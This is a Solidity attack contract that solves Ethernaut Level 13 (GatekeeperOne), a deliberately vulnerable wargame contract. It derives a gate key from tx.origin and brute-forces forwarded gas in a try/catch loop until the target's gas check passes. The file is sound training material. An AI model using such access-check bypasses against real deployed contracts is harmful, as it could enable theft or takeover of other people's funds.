Solution for Ethernaut Level 13 - GatekeeperOne. For Remix IDE

GatekeeperOneHack2.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

interface IGatekeeperOne {
    function enter(bytes8) external;
}

// Deployment gas cost 209,498
contract GatekeeperOneHack2 {

    // transaction cost is 596,986 gas
    function hack(address gatekeeperOneAddr) external {
        bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0x000000FF0000FFFF;
        for (uint256 i=100; i <= 8191; ++i) {
            try IGatekeeperOne(gatekeeperOneAddr).enter{gas: i + (8191 * 10)}(gateKey) {
                return;
            } catch {}
        }
    }
}